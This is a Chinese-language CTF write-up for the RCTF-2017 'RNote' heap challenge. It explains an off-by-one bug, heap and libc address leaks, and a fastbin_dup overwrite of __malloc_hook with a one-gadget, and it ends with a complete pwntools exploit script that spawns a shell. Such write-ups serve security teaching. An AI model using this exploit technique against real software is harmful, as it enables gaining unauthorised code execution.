RNote

RCTF-2017: RNote

【原理】

off-by-one, fastbin_dup

【目的】

了解基础堆知识,懂得堆溢出漏洞的利用

【环境】

Linux

【工具】

gdb(装有peda),IDA,python,pwntools

【步骤】

首先查看代码逻辑:

进入add_onte查看:

通过观察能够知道,这个note应该是一个结构体,然后有一个数组notes[15]专门存放数据

struct note {
    int IsUsed; :4
    int size;   :4
    char title[0x10]; :16
    char *content; :8
};

接下来,我们发现在下方的read处读取数据,然而我们知道,read是不会给字符串的结尾增加数据的,所以我们可以通过这个地方实现堆上敏感数据的泄露。
首先我们了解一下堆,堆在申请fastbin大小的数据的时候,在free之后不会被回收,而是等待下一次分配,所以我们可以如此构造堆结构:

上述情况可以通过【申请1】 –> 【申请2】 –> 【释放2】 –> 【释放1】 来触发。接下来,我们如果再次申请一个空间,那么此时便便会得到1的位置的数据,此时1中数据段开始的位置中,【记录了堆的位置】,那么我们就能通过这个位置的数据泄露出堆的位置。
接下来我们可以泄露libc的地址。通过申请一个small bin,然后将其删除的话,那么此时就会形成一个双向指针,这个指针指向的是main_arena的位置,所以我们能够利用这一点,找到实际上libc的起始位置.

然后我们能够从libc中找到一个可以getshell的必要函数的位置:

信息泄露就做的差不多了,之后我们要开始劫持程序流:

我们在add_note处能发现一个漏洞:

这里会读入一个字符,读入的字符会覆盖掉堆地址的最后一位,从而使堆的指针位置发生错位。

原先的指针指向的位置

此后发生的偏移。

我们可以利用这一点,让两个堆的地址指向同一个位置,这样的话,当我们首先申请三个块,再依次释放的话,会发生如下的事情:
首先我们有三个块。我们通过上述漏洞,构造如下形式。由于第三个块丢失了指针,这里暂时不画出来

然后我们此时删除第一个块,此时指针之间没有变化。
然后我们删除第二个块,此时指针变化如下:

这里可以看到,这个块指向了上一个块的起始位置。
然后当我们删除第三个块的时候,变化如下:

由于此时fastbin认为当前块未释放,于是直接将当前的fastbin的指针指向了上一个空闲块的位置上。

于是此时我们此时可以利用这个fastbin_dup攻击的方式,通过修改链表尾端指向的地址,让我们得到_malloc_hook的地址.
此后第一次malloc,我们获得如下块:


此时我们在fd的位置修改成如下地址,第二次分配后变成如下:

第三次分配后,我们就能够让fastbin指向fd的指针指向malloc_hook的位置:

再下一次malloc我们就能够得到
malloc_hook的指针,在我们第四次得到数据后,我们只需要往里面写入我们之前准备好的攻击数据即可。

代码如下:

from pwn import *

s = process('./RNote')

def add(size, title, content):
    s.recvuntil(': ')
    s.sendline('1')
    s.recvuntil(': ')
    s.sendline(size)
    s.recvuntil(': ')
    s.sendline(title)
    s.recvuntil(': ')
    s.send(content)

def delete(index):
    s.recvuntil(': ')
    s.sendline('2')
    s.recvuntil(': ')
    s.sendline(index)

def show(index):
    s.recvuntil(': ')
    s.sendline('3')
    s.recvuntil(': ')
    s.sendline(index)

add('200','A','A')
add('200','A','A')
delete('0')
add('200','A','A')
show('0')
s.recvuntil('note content: A')
libc_base = u64(s.recv(16)[7:15])-104-0x3c1740
malloc_hook = libc_base + 0x3C1740
0x3fd4f
oneshot = libc_base + 0xE8FE1
log.info("LIBC BASE : " + hex(libc_base)) 
log.info("MALLOC HOOK : " + hex(malloc_hook))

delete('0')
delete('1')

add('96','A','A')
add('96','A','A')
add('96','A' * 16 +'\x10' ,'A')
delete('0')
delete('1')
delete('2')
add('96','A',p64(malloc_hook-0x1b-0x8))
add('96','A','A')
add('96','A',p64(malloc_hook-0x1b-0x8))
add('96','A','A' * 19 + p64(oneshot))

s.recvuntil('Your choice:')
s.sendline('1')
s.recvuntil('Please input the note size:')
s.sendline('1')
s.success('GOT SHELL!')
s.interactive()

【总结】

堆的错误比较隐晦,而且利用起来也有一定的难度,需要对glibc中malloc的代码有一定的了解程度。


   转载规则

请联系作者付费转载。
 上一篇
校内平台杂项 校内平台杂项
杂项第一题一般不难下了图片拖到notepad++直接搜flag。bingo! 第二题还是图片隐写,百毒网盘连接,下载载瞅一眼老样子先拿到Stegsolve看一波,bingo! 第三题、base64,不多说了 第四题在图片下面 第五题give
2019-11-06 Mondayice
下一篇 
sxj sxj
2019-05-20 Mondayice
  目录